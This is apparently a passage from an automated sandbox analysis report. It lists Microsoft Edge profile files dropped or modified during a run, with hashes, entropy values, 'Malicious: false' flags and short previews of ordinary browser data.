Preview:	SQLite format 3......@ ..........................................................................j...%.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	375520
Entropy (8bit):	5.354123514058176
Encrypted:	false
SSDEEP:	6144:fA/imBpx6WdPSxKWcHu5MURacq49QxxPnyEndBuHltBfdK5WNbsVEziP/CfXtLPz:fFdMyq49tEndBuHltBfdK5WNbsVEziPU
MD5:	AD2B2047B460C7C7C4FFD197BDD4395B
SHA1:	5BF4C779601E6E4DE90515B2D526C7B007290A22
SHA-256:	8829793102687713DA6B829D96EE0B5C081F982E756A5222D33EAEC23BD8A036
SHA-512:	D6EBC328FD1FC6CD42D87333F94A23231E5C61D50E65F2BBAC88C16B3E385167B31D2007A7CE143CB26D73BD45D39A23377871F71565E82736E063C334D76DE9
Malicious:	false
Preview:	...m.................DB_VERSION.1...q...............&QUERY_TIMESTAMP:domains_config_gz2...13377014076175113..QUERY:domains_config_gz2....[{"name":"domains_config_gz","url":"https://edgeassetservice.azureedge.net/assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig","version":{"major":2,"minor":8,"patch":76},"hash":"78Xsq/1H+MXv88uuTT1Rx79Nu2ryKVXh2J6ZzLZd38w=","size":374872}]..*.`~...............ASSET_VERSION:domains_config_gz.2.8.76..ASSET:domains_config_gz...{"config": {"token_limit": 1600, "page_cutoff": 4320, "default_locale_map": {"bg": "bg-bg", "bs": "bs-ba", "el": "el-gr", "en": "en-us", "es": "es-mx", "et": "et-ee", "cs": "cs-cz", "da": "da-dk", "de": "de-de", "fa": "fa-ir", "fi": "fi-fi", "fr": "fr-fr", "he": "he-il", "hr": "hr-hr", "hu": "hu-hu", "id": "id-id", "is": "is-is", "it": "it-it", "ja": "ja-jp", "ko": "ko-kr", "lv": "lv-lv", "lt": "lt-lt", "mk": "mk-mk", "nl": "nl-nl", "nb": "nb-no", "no": "no-no", "pl": "pl-pl", "pt": "pt-pt", "ro": "

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	311
Entropy (8bit):	5.185946919963681
Encrypted:	false
SSDEEP:	6:HAjrAM1923oH+Tcwtk2WwnvB2KLlVALq2P923oH+Tcwtk2WwnvIFUv:gjchYebkxwnvFLoLv4YebkxwnQFUv
MD5:	033AD8BBD4BAECF3B45D3C8B502607F7
SHA1:	116784E5EFB3F837D963946A5DD64793A27E46E0
SHA-256:	CDDAE1596EC55A6FF3E3A0CDF935CB497874D23B86B686F052B9286997B5311A
SHA-512:	D0AE1A49E55A747E4C85265E3E575A7D7865D716C92005BF9C71C018379A4D6AC8043C9837280F7D55B2F139F89839269677314F3C7964C9C9D43B115CED1D13
Malicious:	false
Preview:	2024/11/25-08:14:32.694 20f4 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db since it was missing..2024/11/25-08:14:32.727 20f4 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtractionAssetStore.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\domains_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	358860
Entropy (8bit):	5.3246118953238595
Encrypted:	false
SSDEEP:	6144:CgimBVvUrsc6rRA81b/18jyJNjfvrfM6Rv:C1gAg1zfvH
MD5:	43DFDEAE50CFDD7337E3238247400970
SHA1:	F0D2BB3095C9AA7EC406FD874CE2E27920F6674D
SHA-256:	5A07CAFD81F15AE7D5A73B72FB47DC17667CA111AC483D6CC25AA1BE7C34ECF7
SHA-512:	0140A8F853C4E73067192E0188FD7B1CCD33BA56143858FB4A76E37551369F6AD285ADF1F28F6F2000ED2E04C0942B4913293CAF292F78B343AFB8D5D87351BA
Malicious:	false
Preview:	{"aee_config":{"ar":{"price_regex":{"ae":"(((ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(ae\|aed\|\\x{062F}\\x{0660}\\x{0625}\\x{0660}\|\\x{062F}\\.\\x{0625}\|dhs\|dh)))","dz":"(((dzd\|da\|\\x{062F}\\x{062C})\\s\\d{1,3})\|(\\d{1,3}\\s(dzd\|da\|\\x{062F}\\x{062C})))","eg":"(((e\\x{00a3}\|egp)\\s\\d{1,3})\|(\\d{1,3}\\s(e\\x{00a3}\|egp)))","ma":"(((mad\|dhs\|dh)\\s\\d{1,3})\|(\\d{1,3}\\s(mad\|dhs\|dh)))","sa":"((\\d{1,3}\\s(sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633}))\|((sar\\s\\x{fdfc}\|sar\|sr\|\\x{fdfc}\|\\.\\x{0631}\\.\\x{0633})\\s\\d{1,3}))"},"product_terms":"((\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{0639}\\x{0631}\\x{0628}\\x{0629})\|(\\x{0623}\\x{0636}\\x{0641}\\s\\x{0625}\\x{0644}\\x{0649}\\s\\x{0627}\\x{0644}\\x{062D}\\x{0642}\\x{064A}\\x{0628}\\x{0629})\|(\\x{0627}\\x{0634}\\x{062A}\\x{0631}\\x{064A}\\s*\\x{0627}\\x{0644}\\x{0622}\\x{0646})\|(\\x{062E}\\x{064A}\\x{0627}\\x{0631}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.193267332007869
Encrypted:	false
SSDEEP:	6:HAke8N+q2P923oH+Tcwt8aPrqIFUt8YAkjWZmw+YAkWVkwO923oH+Tcwt8amLJ:gke8N+v4YebL3FUt87kjW/+7kWV5LYeo
MD5:	5CEE4DD3900A63A0BF2752F0B348C0BF
SHA1:	30C2874C884CD4C18A5E9ADAE8168BA624AB9697
SHA-256:	2D247AC677A491020BDDEAFB50A1B530B017553752BECC60D11B2B85A43CDB85
SHA-512:	A70ED5D8FDC1F3DCC6C363B74E1BD2AC6370F09CE7B9AABAC89DA7C2BBC0353673CB57EA7BF0199714AE6F6458584D19568F2EF1C2A78FBF28D36CA251A53130
Malicious:	false
Preview:	2024/11/25-08:14:27.498 1dec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/25-08:14:27.499 1dec Recovering log #3.2024/11/25-08:14:27.499 1dec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.193267332007869
Encrypted:	false
SSDEEP:	6:HAke8N+q2P923oH+Tcwt8aPrqIFUt8YAkjWZmw+YAkWVkwO923oH+Tcwt8amLJ:gke8N+v4YebL3FUt87kjW/+7kWV5LYeo
MD5:	5CEE4DD3900A63A0BF2752F0B348C0BF
SHA1:	30C2874C884CD4C18A5E9ADAE8168BA624AB9697
SHA-256:	2D247AC677A491020BDDEAFB50A1B530B017553752BECC60D11B2B85A43CDB85
SHA-512:	A70ED5D8FDC1F3DCC6C363B74E1BD2AC6370F09CE7B9AABAC89DA7C2BBC0353673CB57EA7BF0199714AE6F6458584D19568F2EF1C2A78FBF28D36CA251A53130
Malicious:	false
Preview:	2024/11/25-08:14:27.498 1dec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/MANIFEST-000001.2024/11/25-08:14:27.499 1dec Recovering log #3.2024/11/25-08:14:27.499 1dec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	418
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	6:qTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCTCT:qWWWWWWWWWWWWWWWWWWWWW
MD5:	BF097D724FDF1FCA9CF3532E86B54696
SHA1:	4039A5DD607F9FB14018185F707944FE7BA25EF7
SHA-256:	1B8B50A996172C16E93AC48BCB94A3592BEED51D3EF03F87585A1A5E6EC37F6B
SHA-512:	31857C157E5B02BCA225B189843CE912A792A7098CEA580B387977B29E90A33C476DF99AD9F45AD5EB8DA1EFFD8AC3A78870988F60A32D05FA2DA8F47794FACE
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5...............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.17316758425647
Encrypted:	false
SSDEEP:	6:HAkk2i+q2P923oH+Tcwt865IFUt8YAkdVeAWZmw+YAkdVe3VkwO923oH+Tcwt86L:gkkx+v4Yeb/WFUt87k/W/+7kaV5LYebD
MD5:	7B5D32921475E1F5C31030CD7B1F49E2
SHA1:	B4F10793A1477BBF0F0D8E553BB81B5F96623792
SHA-256:	921EA3462257B8DA988BB63373E1FDABA24D995709C968AA6E281EC4B33A160E
SHA-512:	5E43A55A04A7BA655B5842C9F505AD349B8D01F3E2E3474BB3EC030D4141D95FDF28A9AB21D08B2A42028C362C79D441645D54F3D4EC4CC007A4290B45B099E8
Malicious:	false
Preview:	2024/11/25-08:14:27.509 1dec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/25-08:14:27.510 1dec Recovering log #3.2024/11/25-08:14:27.510 1dec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	328
Entropy (8bit):	5.17316758425647
Encrypted:	false
SSDEEP:	6:HAkk2i+q2P923oH+Tcwt865IFUt8YAkdVeAWZmw+YAkdVe3VkwO923oH+Tcwt86L:gkkx+v4Yeb/WFUt87k/W/+7kaV5LYebD
MD5:	7B5D32921475E1F5C31030CD7B1F49E2
SHA1:	B4F10793A1477BBF0F0D8E553BB81B5F96623792
SHA-256:	921EA3462257B8DA988BB63373E1FDABA24D995709C968AA6E281EC4B33A160E
SHA-512:	5E43A55A04A7BA655B5842C9F505AD349B8D01F3E2E3474BB3EC030D4141D95FDF28A9AB21D08B2A42028C362C79D441645D54F3D4EC4CC007A4290B45B099E8
Malicious:	false
Preview:	2024/11/25-08:14:27.509 1dec Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/MANIFEST-000001.2024/11/25-08:14:27.510 1dec Recovering log #3.2024/11/25-08:14:27.510 1dec Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1254
Entropy (8bit):	1.8784775129881184
Encrypted:	false
SSDEEP:	12:qWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWWA:
MD5:	826B4C0003ABB7604485322423C5212A
SHA1:	6B8EF07391CD0301C58BB06E8DEDCA502D59BCB4
SHA-256:	C56783C3A6F28D9F7043D2FB31B8A956369F25E6CE6441EB7C03480334341A63
SHA-512:	0474165157921EA84062102743EE5A6AFE500F1F87DE2E87DBFE36C32CFE2636A0AE43D8946342740A843D5C2502EA4932623C609B930FE8511FE7356D4BAA9C
Malicious:	false
Preview:	.f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5................f.5........

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.192598707268618
Encrypted:	false
SSDEEP:	6:HAU2F+q2P923oH+Tcwt8NIFUt8YAUdTZmw+YAUdDVkwO923oH+Tcwt8+eLJ:gWv4YebpFUt87ET/+7EJ5LYebqJ
MD5:	14D99C16EE00DC65A1FA23883E9A210D
SHA1:	3E8999A9613FB8A6F30854485204445FD7625294
SHA-256:	6D4EAF644604C8DFEEDFCBD5746F3641CFB060F3BF6460218641B99E87397537
SHA-512:	F539E4217BAD3CFD43689D1993E27BBA6FDE5831D23E65D3C19DF9EAAF28ED7B464374DF7FDE5F27DC2DE104484FAF9133A219E50A8A1C7EB95B08FC69F2A85F
Malicious:	false
Preview:	2024/11/25-08:14:28.297 1cb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/25-08:14:28.298 1cb8 Recovering log #3.2024/11/25-08:14:28.298 1cb8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.192598707268618
Encrypted:	false
SSDEEP:	6:HAU2F+q2P923oH+Tcwt8NIFUt8YAUdTZmw+YAUdDVkwO923oH+Tcwt8+eLJ:gWv4YebpFUt87ET/+7EJ5LYebqJ
MD5:	14D99C16EE00DC65A1FA23883E9A210D
SHA1:	3E8999A9613FB8A6F30854485204445FD7625294
SHA-256:	6D4EAF644604C8DFEEDFCBD5746F3641CFB060F3BF6460218641B99E87397537
SHA-512:	F539E4217BAD3CFD43689D1993E27BBA6FDE5831D23E65D3C19DF9EAAF28ED7B464374DF7FDE5F27DC2DE104484FAF9133A219E50A8A1C7EB95B08FC69F2A85F
Malicious:	false
Preview:	2024/11/25-08:14:28.297 1cb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/MANIFEST-000001.2024/11/25-08:14:28.298 1cb8 Recovering log #3.2024/11/25-08:14:28.298 1cb8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extension State/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\jmjflgjpcpepeafmmgdpfkogkghcpiha\1.2.1_0\_metadata\computed_hashes.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.809210454117189
Encrypted:	false
SSDEEP:	6:Y8U0vEjrAWT0VAUD9lpMXO4SrqiweVHUSENjrAWT0HQQ9/LZyVMQ3xqiweVHlrSQ:Y8U5j0pqCjJA7tNj0pHx/LZ4hcdQ
MD5:	5D1D9020CCEFD76CA661902E0C229087
SHA1:	DCF2AA4A1C626EC7FFD9ABD284D29B269D78FCB6
SHA-256:	B829B0DF7E3F2391BFBA70090EB4CE2BA6A978CCD665EEBF1073849BDD4B8FB9
SHA-512:	5F6E72720E64A7AC19F191F0179992745D5136D41DCDC13C5C3C2E35A71EB227570BD47C7B376658EF670B75929ABEEBD8EF470D1E24B595A11D320EC1479E3C
Malicious:	false
Preview:	{"file_hashes":[{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","6RbL+qKART8FehO4s7U0u67iEI8/jaN+8Kg3kII+uy4=","CuN6+RcZAysZCfrzCZ8KdWDkQqyaIstSrcmsZ/c2MVs="],"block_size":4096,"path":"content.js"},{"block_hashes":["OdZL4YFLwCTKbdslekC6/+U9KTtDUk+T+nnpVOeRzUc=","UL53sQ5hOhAmII/Yx6muXikzahxM+k5gEmVOh7xJ3Rw=","u6MdmVNzBUfDzMwv2LEJ6pXR8k0nnvpYRwOL8aApwP8="],"block_size":4096,"path":"content_new.js"}],"version":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	0.2191763562065486
Encrypted:	false
SSDEEP:	3:8lR9tFlljq7A/mhWJFuQ3yy7IOWUDwKtdweytllrE9SFcTp4AGbNCV9RUIz:8C75fOSKtd0Xi99pEYV
MD5:	7D7A88A7B27E91995EBEE1B813888A33
SHA1:	CBEC703569F6B29441B3346B4953AFBA4E75A406
SHA-256:	FC98566935671C46C0968DE17B8F32BFF3B925FF9F7D5A536495F936A5235482
SHA-512:	165B921914C5F5FEEB0E2C297E1CBB7BD26EE85F2460669F9B20B6C37DA1EDE0265BF9DD946B29CBEDEA05201229001A3778B47C389F0519DD9C85B450B9E522
Malicious:	false
Preview:	.............T....&....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (1597), with CRLF line terminators
Category:	dropped
Size (bytes):	115717
Entropy (8bit):	5.183660917461099
Encrypted:	false
SSDEEP:	1536:utDURN77GZqW3v6PD/469IxVBmB22q7LRks3swn0:utAaE2Jt0
MD5:	3D8183370B5E2A9D11D43EBEF474B305
SHA1:	155AB0A46E019E834FA556F3D818399BFF02162B
SHA-256:	6A30BADAD93601FC8987B8239D8907BCBE65E8F1993E4D045D91A77338A2A5B4
SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\HubApps Icons

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 12, cookie 0x3, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	3.6478159536749155
Encrypted:	false
SSDEEP:	384:aj9P0SQkQerkjlxP/KbtLcg773pLIRKToaA9gam6Iqhf:adFe2mlxP/Ng7WRKcca9
MD5:	FDCF230194D35AD103900CD54684264F
SHA1:	F2DC76F880CAA3757F7ED9BB767265BB9400E6C0
SHA-256:	B989FF77C56FC9C093AD35D0F8938044CD1A8CA329C978967391CE1BAEEF4E5C
SHA-512:	F1BF7D5C2CE3C21CCD1A39A340895ACB00068DD1FA133A6D794443B7CE2A57EDF93EBF8CAC632247302924C1A8EC5AC6A33E5658BE079857E8DF740D1C8AD49B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...:.8....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.2639242508304465
Encrypted:	false
SSDEEP:	12:gnZv4Yeb8rcHEZrELFUt87lx/+7lr5LYeb8rcHEZrEZSJ:o4Yeb8nZrExg8JQ9LYeb8nZrEZe
MD5:	82CB745D3185BF6F0DDBA8D1317DE049
SHA1:	3918E03F1D0D6A70F47AD2DE4FF9C2A9D271A7FE
SHA-256:	806AF63EC916C51AD9C5730E0F22D2C52D32DD1EB5D3AC6B1239ED16C74B9DEF
SHA-512:	14137182122F88E61D35AFD3DA7588430EB22CF8B922003191511C16DFD772E201D8E1250D97DC45ED7FECC3F4D381A25C3D8DA251D27F7B0FF732CA52341298
Malicious:	false
Preview:	2024/11/25-08:14:31.720 1cb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/25-08:14:31.721 1cb8 Recovering log #3.2024/11/25-08:14:31.721 1cb8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	408
Entropy (8bit):	5.2639242508304465
Encrypted:	false
SSDEEP:	12:gnZv4Yeb8rcHEZrELFUt87lx/+7lr5LYeb8rcHEZrEZSJ:o4Yeb8nZrExg8JQ9LYeb8nZrEZe
MD5:	82CB745D3185BF6F0DDBA8D1317DE049
SHA1:	3918E03F1D0D6A70F47AD2DE4FF9C2A9D271A7FE
SHA-256:	806AF63EC916C51AD9C5730E0F22D2C52D32DD1EB5D3AC6B1239ED16C74B9DEF
SHA-512:	14137182122F88E61D35AFD3DA7588430EB22CF8B922003191511C16DFD772E201D8E1250D97DC45ED7FECC3F4D381A25C3D8DA251D27F7B0FF732CA52341298
Malicious:	false
Preview:	2024/11/25-08:14:31.720 1cb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/25-08:14:31.721 1cb8 Recovering log #3.2024/11/25-08:14:31.721 1cb8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1474
Entropy (8bit):	5.680356450694201
Encrypted:	false
SSDEEP:	24:ehZW/0HwM2lsokMkIs9BWJqXZmqW2sFV03y1x4/hIRcMyaKWXmUlHWIkTN5zgFHH:uZzncXvSeqXZE2iV03Sx4/hIxyaKGmjg
MD5:	F8FB1C9BAD89C9FF75CD39DDEB921E3E
SHA1:	3CC8E50EC7042CB3B9C0BAC610C05E9C215D8277
SHA-256:	17940EA86E16633A0F0F3E5846D585ADFFD9EF4D3314186BE28466CE63746D32
SHA-512:	E6E7AD49DF68AA59C87DCB207A7A6C2C377D9166070E200BEF101CF8AA6D77094D40363A14506E36E0D6563819DDFDBE6634D1B0E8EC5EA6FE2E7C5D24AB815D
Malicious:	false
Preview:	.....................VERSION.1..META:https://ntp.msn.com............!_https://ntp.msn.com..LastKnownPV..1732540483459.-_https://ntp.msn.com..LastVisuallyReadyMarker..1732540484717.._https://ntp.msn.com..MUID!.331C9059D5CC671123A1851BD4CD6669.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1732540483552,"schedule":[-1,20,-1,-1,30,-1,16],"scheduleFixed":[-1,20,-1,-1,30,-1,16],"simpleSchedule":[28,37,10,13,9,27,39]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1732540483420.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241122.365"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Mon Nov 25 2024 08:14:43 GMT-0500 (Eastern Standar

